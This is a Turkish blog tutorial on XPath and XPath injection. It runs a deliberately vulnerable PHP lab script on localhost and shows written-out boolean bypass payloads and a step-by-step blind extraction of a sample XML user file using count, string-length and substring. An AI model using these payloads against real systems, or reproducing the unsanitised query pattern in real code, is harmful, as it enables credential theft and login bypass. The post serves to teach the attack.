XPath ve XPath Injection saldırılarını anlamak


Merhaba arkadaşlar yine yazı yazmak için bir boşluk yakaladım XPath Injection yıllardır yazmak istediğim bir konuydu fakat vakitsizlikten dolayı bir türlü yazamadım (Her gün veya iki günde bir blog yazan insanlar nasıl insanlarsınız hiç mi işiniz gücünüz yok <3 )


Yıllardır web tabanlı veya bir bir gözü webe bakan uygulama ve web servis inceleyen/geliştiren/kodlayan/hackleyen  biri olarak benim gözümde XPath Regex den sonra geliştirilmiş en büyük nimetlerden biridir.

Not: Aşağıdaki yazı XPath Tutorial değildir sadece XPath Injectionu kavrayabilmeniz için XPath hakkında ön bilgidir.

XPath(XML Path Language)  bir XML dökümanı içerisinden bilgi bulmaya/yakalamaya yarayan dildir w3c tarafından 1999 yılında(halen geliştirilmekte) geliştirilip standart haline getirilmiştir dil derken programlama dili aklınıza gelmesin "query language" diye adlandırılan sorgu dillerinden bir tanesidir.
Hemen hemen her programlama/script/betik dilinde ve DMBS(mysql,oracle,mssql,postqresql vs..)da standart olarak XML kütüphanesi ile birlikte kullanıma sunulmuştur c,c++,vbasic,java,c#,python,ruby,php,javascript gibi aklınıza gelen hemen her dilde kullanılabilir.
Son bir ekleme tıpkı XML gibi hierarşik yapıya sahip olan DOM nesneleri için Xpath kullanımı mevcuttur.  
Teferruatlı teknik bilgi için => https://en.wikipedia.org/wiki/XPath ve https://www.w3.org/TR/xpath/ adreslerini kullanabilirsiniz.


Yazının sonuna kadar tek bir XML dökümanı üzerinden örnek vermek istiyorum denemeleri ve örneklemeleri aşağıdaki XML dökümanını baz alarak anlatacağım.

<?xml version="1.0" encoding="UTF-8"?>
<uyeler> 
  <!--yorumsatiri -->
  <uye id="1">
    <kullanici>admin</kullanici>
    <sifre>12345</sifre>
    <mail>ha@cker.io</mail>
  </uye>
  <uye id="2">
    <kullanici>neco</kullanici>
    <sifre>654321</sifre>
    <mail>hij@cker.io</mail>
  </uye>
  <uye id="3">
    <kullanici>baba</kullanici>
    <sifre>789456</sifre>
    <mail>tra@cker.io</mail>
  </uye>
</uyeler> 
 


Yukarıda yazılan XML Dökümanını xpath söz dizimine göre yorumlayacak olursak dökümandaki her bir düğüm veya düğüm içerisinde kalan değer yada özellik "node" olarak adlandırılır.
XPath söz diziminde 7 adet node vardır bunlar;
 element="xml elemanı"
 attribute="elemana ait özellik" 
 text="elemana ait değer (value olarak düşünülebilir)"
 comment ="yorum satırı"
 document nodes ="dökümanın tamamını ifade eder"
 ve şuan işimize yaramayan namespace ve processing-instruction ı unutmayalım.
 
Yukarıda anlattıklarıma göre XML dökümanına tekrar baktığımda aşağıdaki gibi görüyorsak iş tamamdır ;)


<?xml version="1.0" encoding="UTF-8"?>
<uyeler>  => node - root eleman
  <!-- yorum -->
  <uye id="1"> => node - eleman - attirube = id değer=1 
    <kullanici>admin</kullanici>    => node - eleman  değer=admin
    <sifre>12345</sifre>      => node - eleman  değer=12345
    <mail>ha@cker.io</mail> => node - eleman  değer=h@cker.io
  </uye>
  <uye id="2"> => node -eleman - attirube = id değer=2
    <kullanici>neco</kullanici>      => node - eleman  değer=neco
    <sifre>654321</sifre>    => node - eleman  değer=654321
    <mail>hij@cker.io</mail> => node - eleman  değer=hij@cker.io
  </uye>
  <uye id="3"> =>node - eleman - attirube = id değer=3
    <kullanici>baba</kullanici>       => node - eleman  değer=baba
    <sifre>789456</sifre>     => node - eleman  değer=789456
    <mail>tra@cker.io</mail>  => node - eleman  değer=tra@cker.io
  </uye>
</uyeler> 

Anlatılacak bir iki mevzu daha var fakat asıl amaçtan uzaklaşmamak için anlatmıyorum.

Kim kimin alt elemanı root eleman kim attribute değeri neresi gibi soruların cevabını bildiğimize göre artık XPath ile veri seçme işine başlayabiliriz.

Veri seçme işlemleri için php dilinde SimpleXML sınıfının yardımıyla bir script oluşturuyorum(dil önemli değil php şahsi tercihimdir)

En başta yazdığımız xml dökümanını işleyeceğiz yukardaki xml dökümanını test.xml olarak kaydediyorum ve aşağıdaki php kodunda görüldüğü gibi simplexml_load_file fonksiyonuna tanımlıyorum. Bu kod test.xml ile bir XML nesnesi oluşturacak ve nesne içerisinden xpath sorgusu ile arama yaptığımda inciğini cinciğini ekrana basacak böylece hangi sorguda hangi node dan ne almışız görebileceğiz.

$xml=simplexml_load_file("test.xml");
$sorgu=$_GET["sorgu"];
$xpath=$xml->xpath($sorgu);
print_r($xpath);
?>

Sorgu değiştirirken her seferinde dosya düzenlememek için sorguyu GET ile alıyorum.  

XPath da seçim yapma temelleri

Örnek vermek için söylüyorum daha önce jQuery yada javascript ile uğraşanlar mutlaka css yada dom selector kullanmıştır XPath selectorlerin amacı aynıdır bir elemanı bulmak yada bir değere sahip elemanı tespit etmek için kullanılır.

Yine örnek XML üzerinden selector yapısını inceleyelim.

/ => root elemandan seçim yapar yani  
/uyeler   => uyeler root elemanını seçim yapmak için tanımlar
// => dökümanın tamamından eleman seçer
//uyeler => dökümanda bulunan tüm uyeler elemanlarını seçer(root veya değil)
//uye => dökümanda bulunan tüm uye elemanlarını seçer 
.. => Elemanın parent yani üst elemanını seçer
//uye/../uye => uye elemanın parenti uyeler i seçer uyeler elemanının alt elemanı uye yi seçer aslında /uyeler/uye ile aynıdır örnek olsun diye yazdım.
@ => Elemanlara tanımlanmış attribute yani özellere sahip elemanı seçer
//@* => Tüm dökümandaki herhangibir özelliğe sahip elemanı seçer veya //uye[@id=1]  id si 1 olan uye elemanını seçer
Yukarıdaki örnekler =>  /   //  @  ..

Biraz daha komplike örnekler yapabiliriz fakat burda önemli olan tek slash "/" ve çift slash "//" ı ne zaman kullanacağımız

Eğer seçime root elemandan başlıyorsan tek slash ile root elemanı tanımlamamız gerek /uyeler   eğer seçime root elemandan veya root olmayan bir elemandan başlıyorsak çift slash ile kullanmamız gerek //uye gibi //uyeler gibi  root elemanı kullanabiliyoruz çünkü çift slashı yukarda yazdık dökümanın tamamında o elemanı arar bulur.

Aşağıdaki resimde bol bol örneklendirme yapmaya çalıştım ama çok sıkıcı iş hele bu saatte çekilmiyor.


 





















XPath Temel Eksenler

Eksen XML dökümanında seçim yaparken hierarşiye göre seçim yapmayı ifade eder  örnek olarak kullandığımız XML de kullanıcı adı "neco" olan üyenin üye id attributesini veya bağlı olduğu hierarşideki root elemanının adı gibi bilgileri yakınlık ilişkisiyle almamızı sağlar(bulabildiğim en basit ifade bu) 

child::uye  => mevcut konumdaki elemanın altındaki tüm üye elemanlarını seçer
child::* => mevcut konumdaki elemanın altındaki tüm elemanları seçer
parent::* => mevcut konumdaki elemanın tüm üst elemanlarını seçer
self::* => seçili elemanın tüm elemanlarını seçer
attribute::* => mevcut konumdaki elemanın tüm özelliklerini seçer

 

XPath Temel Operatörler

Operatörler aşağıdak gibidir aşırı derecede aşına olduğumuz gibi.

+   Artı
-  Eksi
=  Eşittir
!=  Eşit değildir
< - Küçüktür
>  Büyüktür
<=  Küçük eşit
>=  Büyük eşit
or  Veya
and  Ve
div  Bölme
mod  Mod

 

XPath Temel Fonksiyonlar

String Fonksiyonlar

string : Element nesnesini stringe çevirir

string-length : String içindeki karakter sayısını döndürür

concat : String birleştirir

contains: Tanımlı değeri içeren düğümü yada veriyi döndürür

substring :Belirlenen aralıklarda belirlenen karakter saysı kadar değer döndürür

Number Fonksiyonlar

number: Tanımlı girdiği number formatına çevirir

sum : Tanımlanan değerlerin toplamını döndürür

Boolean Fonksiyonlar

true : True döndürür

false : False döndürür

not : Tanımlı fonksiyon false dönüyorsa not değeri true döner  yada tam tersi

boolean : Tanımlı değeri boolean formatına çevirir

Node-Set Fonksiyonlar: Node-set fonksiyonlar çıktı olarak bir düğüm yada düğüm kümesi veya hakkında bilgi döndürür .

count : Seçili düğümün kaç elemanı olduğunu döndürür 

id : Uniq(benzersiz) id ile element seçimi yapar

last : Seçili elementin altındaki son elementini seçer veya döndürür.

position : Seçili düğümün index sırasını döndürür veya sırasına göre seçer 

name : Elemen ismini döndürür

 

Tabiki koskoca XPath da 6 7 tane fonksiyon yok fakat her versiyonda çalışan fonksiyonları açıklamaya gayret gösterdim en başta söylediğim gibi bu yazı XPath Tutorial değildir

Artık bir araba yazı yazdığımıza göre ilk baştaki xml e göre  /uyeler/uye/../child::node()[@id=1] sorgusu ile id attributesi 1 olan uye yi seçtiğimizi anlayabiliyor olmalıyız.

Bu kadar ön bilgiden sonra yazının esas oğlanı olan XPath Injectiona giriş yapıyoruz.

 

XPath Injection

XPath Injectionu (tüm Injection saldırılarında olduğu gibi) kullanıcıdan çeşitli HTTP metodlarıyla veri alan kısımlarda mevcut xpath sorgusuna saldırganın kendi sorgusunu eklemesi şeklinde açıklarsam yanlış olmaz sanırım.İlk sürüm olan XPath 1.0 ve devamında gelen XPath 2.0 ve 3.0 olmak üzre mevcut 3 versiyonu vardır versiyon yükseldikçe injection sorgusunda kullanabildiğimiz fonksiyon sayısı artmaktadır..

Yukarıda yazdığım php kodunu biraz düzenleyerek örnek XML dökümanımla birlikte bir üye bilgi sayfası simülasyonu yaptım.

Scriptin içindeki XPath sorgusu GET ile uye parametresinden yazılan üye adına ait bilgilerini sayfaya basıyor.

$xml->xpath("//uye[kullanici/text()='".$kullanici."']");

localhost/xpath/index2.php?uye=neco












Şimdi XML in içeriğini bildiğimiz için diğer üye bilgilerini almak biraz anlamsız gözükebilir ama değil. Diyelimki sayfada xpath injection olduğunu bilmiyoruz ve parametreleri manipüle ederek birşeyler bulmaya çalışıyoruz, sorguyu taşırıp  ' or 1=1  ' and 1=1 ' or 1='1 ' and '1'='1  gibi denemelerle sorguya ekleme yapıp yeniden true döndürdük diyelim bunun sql injection değilde xpath injection olduğunu anlayabilmemiz için position() fonksiyonunu kullanıyoruz(tabiki şart değil ama sql injection zannedip sorgu kastığınızda bura sorgu yemiyor diye xpath injection ihtimalini gözardı etmemek gerek)

->xpath("//uye[kullanici/text()='neco' and 1='1']");

->xpath("//uye[kullanici/text()='neco' or 1='1']");

Yukarıdaki gibi  sorgumuzu düzgün şekilde sonlandırdığımızda true sonuç alabiliyoruz ->xpath("//uye[kullanici/text()='neco' or 1='1']"); ile index sırasındaki ilk üyenin bilgileri sayfaya basılıyor.(Authentication bypass yada login bypass olarak düşünülebilir)













ve position() fonksiyonu ile XPath Injectionu doğruluyoruz. position() a tanımlı değeri değiştirip diğer kullanıcıların bilgileri okunabilir.














XPath versiyon tespiti : XPath versiyon tespiti için XPath 1.0 da olmayan upper-case() veya lower-case() fonksiyonlarını kullanıyoruz matches().veya doc() fonksiyonunuda kullanabiliriz ama parametreleri kalabalık olduğu için pratik değil.









XPath versiyon 2 olsaydı true dönecekti fakat şuan muhtemelen  errorlog da böyle bir fonksiyon yok hatası var.

Şimdi fark ettim benim sunucuda php için xpath2 desteği yokmuş amk biton yazı yazdık çöp olmasın bu dökümanı XPath 1.0 a göre anlatayım sunucuya saxon kurup 2.0 için yazıyı daha sonra güncellerim.

Blind XPath Injection

XPath injection mantık olarak sql injectiona benzesede pratikte işler sql injection gibi yürümüyor sorgu yapmak için sql deki gibi sistem tabloları bulunmuyor e XML nin de syntax haricinde bir standardı yok bu sebepten XPath injection ile sayfaya basılmayan değerleri veya XML dökümanının tamamına erişebilmek için root elemandan başlayıp en içe doğru eleman adı,elemanın alt elemanlarının adı , elemanların attribute değerleri,yorum satırları ve text değerlerini XPath 1.0 da sadece substring() fonksiyonu ile harf harf okuyabiliyoruz.

Benim işlem sıram şu şekilde 

  1. Tüm root elemanları seçip /* önce kaç tane root eleman var onu buluyorum count(/*)
  2. İlk elemanın ismini seçip name(/*[1]) eleman kaç karakter onu buluyorum string-length(name(/*[1]))
  3. Harf harf elemanın adını okuyorum substring(name(/*[1]),1,1)
  4. Elemanda attribute varmı varsa kaç tane diye bakıyorum count(/*[1]/@*)
  5. Attribute varsa kaç karakter string-length(name(/*[1]/@*))
  6. Attributeyi harf harf okuyorum substring(name(/*[1]/@*),1,1)
  7. Elemanda yorum satırı varmı varsa kaç tane count(/*[1]/comment())
  8. Yorum satırı varsa kaç karakter   string-length(name(/*[1]/comment()))
  9. Yorum satırını harf harf okuyorum substring(name(/*[1]/comment()))

ve bu işlemleri tüm alt elemanlar için count 0 ı yakalayıncaya yapıyoruz :)

Örnek XML dökümanını xpath injection ile keşfetmeye başlayalım.

1.localhost/xpath/index2.php?uye=neco' or count(/*)='0  => false

  localhost/xpath/index2.php?uye=neco' or count(/*)='1 => true  tek bir root eleman varmış









2.localhost/xpath/index2.php?uye=neco' or string-length(name(/*[1]))='0 =>false

  localhost/xpath/index2.php?uye=neco' or string-length(name(/*[1]))='1 =>false

  localhost/xpath/index2.php?uye=neco' or string-length(name(/*[1]))='2 =>false

  localhost/xpath/index2.php?uye=neco' or string-length(name(/*[1]))='3 =>false

  localhost/xpath/index2.php?uye=neco' or string-length(name(/*[1]))='4 =>false

  localhost/xpath/index2.php?uye=neco' or string-length(name(/*[1]))='5 =>false

  localhost/xpath/index2.php?uye=neco' or string-length(name(/*[1]))='6 =>true  root eleman 6 karakterliymiş








3.localhost/xpath/index2.php?uye=neco' or substring(name(/*[1]),1,1)='a => false

  localhost/xpath/index2.php?uye=neco' or substring(name(/*[1]),1,1)='b => true

  localhost/xpath/index2.php?uye=neco' or substring(name(/*[1]),1,1)='u => true

  localhost/xpath/index2.php?uye=neco' or substring(name(/*[1]),2,1)='y => true

  localhost/xpath/index2.php?uye=neco' or substring(name(/*[1]),3,1)='e => true

  localhost/xpath/index2.php?uye=neco' or substring(name(/*[1]),4,1)='l => true

  localhost/xpath/index2.php?uye=neco' or substring(name(/*[1]),5,1)='e => true

  localhost/xpath/index2.php?uye=neco' or substring(name(/*[1]),6,1)='r => true 

  root elemanı bulduk uyeler

   








4.Attributesi yok biliyorum boşa vakit harcamak istemiyorum yorum satırına geçiyorum

  localhost/xpath/index2.php?uye=neco' or count(/*[1]/comment())='0 => false

  localhost/xpath/index2.php?uye=neco' or count(/*[1]/comment())='1 => true uyeler elemanının altında 1 tane yorum satırı var









5.localhost/xpath/index2.php?uye=neco' or string-length(/*[1]/comment()[1])='0 => false

  localhost/xpath/index2.php?uye=neco' or string-length(/*[1]/comment()[1])>'0 => true

  localhost/xpath/index2.php?uye=neco' or string-length(/*[1]/comment()[1])>'5 => true

  localhost/xpath/index2.php?uye=neco' or string-length(/*[1]/comment()[1])>'10 =>true

  localhost/xpath/index2.php?uye=neco' or string-length(/*[1]/comment()[1])>'11 => false

  localhost/xpath/index2.php?uye=neco' or string-length(/*[1]/comment()[1])='11 => true bulduk yorum satırı 11 karaktermiş.








6.localhost/xpath/index2.php?uye=neco' or substring(/*[1]/comment()[1],1,1)='a => false

  localhost/xpath/index2.php?uye=neco' or substring(/*[1]/comment()[1],1,1)='y => true  

  localhost/xpath/index2.php?uye=neco' or substring(/*[1]/comment()[1],2,1)='o => true

 11 karakter içinde yaptım sayıyorum B-)  

 Yorum satırımız <!--yorumsatiri-->

 localhost/xpath/index2.php?uye=neco' or substring(/*[1]/comment()[1],1,11)='yorumsatiri => true








Video çekmediğime pişman oldum aşırı uzun oldu root elemanın alt elemanları içinde aynı işlemleri yapıyoruz şu ana kadar  XML nin bulduğumuz kısmı aşağıdaki gibi.

<uyeler>

 <!--yorumsatiri-->

</uyeler>

Alt elemanlar için biraz yazıyı hızlandırıyorum :

  localhost/xpath/index2.php?uye=neco' or count(/*[1]/*)='3  => uyeler elemanın altında 3 tane alt eleman varmış.

  localhost/xpath/index2.php?uye=neco' or string-length(name(/*[1]/*[1]))='3  => eleman adı 3 karakterliymiş 

  localhost/xpath/index2.php?uye=neco' or substring(name(/*[1]/*[1]),1,3)='uye => eleman adı uye imiş

  localhost/xpath/index2.php?uye=neco' or count(/*[1]/*[1]/@*)='1  => uye elemanının 1 attributesi varmış

  localhost/xpath/index2.php?uye=neco' or string-length(name(/*[1]/*[1]/@*[1]))='2  => uye elemanının attributesi 2 karakterliymiş

  localhost/xpath/index2.php?uye=neco' or substring(name(/*[1]/*[1]/@*[1]),1,2)='id  => ve attribute adı id imiş  

  localhost/xpath/index2.php?uye=neco' or substring(/*[1]/*[1]/@*[1],1,1)='1 => id attributesinin değeri 1 miş

Çektiğimiz XML dökümanının bizdeki son hali

<uyeler>

 <!--yorumsatiri-->

 <uye id="1">

 </uye>

</uyeler>

 Aynı şekilde kullanıcı , şifre ve mail değerini çektiğimizi varsayıyorum ve hatta uye="2" ve uye="3" için bu işlemleri yaptığımızı varsayıyorum yoksa yazı bitmeyecek.

Son olarak uye="1" için mail değerini çekelim.

 localhost/xpath/index2.php?uye=neco' or substring(/*[1]/*[1]/*[3]/text(),2,1)='a => true 11. karakteri de bulduğumuzda ha@cker.io mailini almış oluyoruz

Dıştan içe doğru elemanları belirledikçe sorguya onları ekleyebiliyoruz belirsizlik içinde çalışmamıza gerek yok 

localhost/xpath/index2.php?uye=neco' or substring(//uye[1]/mail/text(),2,1)='a









Temel olarak XPath ve XPath 1.0 da Injection saldırılarını anlatmaya çalıştım bir çok fonksiyonu kullanamadım bile buraya kadar okuduysanız bugün yazamadığım XPath 2.0 için spoiler veriyorum.

XPath 2.0 da 1.0 a nazaran biraz daha imkanlar geniş 

Sunucuya saxon kurar kurmaz yazıyı güncelleyeceğim.

base-uri() fonksiyonu ile  xml kaynağının dizin ve dosya adı ile birlikte tam yolunu bulma ve dosya sistemine göre işletim sistemini tespit etme.

matches() fonksiyonu ile karakter aralıklarını tespit etme (eleman büyük harfmi yarısı büyük birazı küçükmü gibi)

error()  fonksiyonu ile error based xpath injection

doc() ve concat() fonksiyonları ile XPath ile HTTP ve DNS requesti oluşturma ve  loglama işlemleri yapma  gibi olaylar XPath 2.0 ın nimetleri.

 

Şimdi yukarıda yaptığımız olayları kocaman kocaman datalar için gerçekleştirdiğinizi hayal edin ve UYUYUN!

18 Mayıs 2016 Çarşamba Saat: 02:05

Son olarak yazıda azım yanlışları,yanlış bilgi ve gerçekte olmayan hayal gücümün ürünü bir şey varsa mail atın hallederiz.  

#don't be evil!

#4ewa2getha!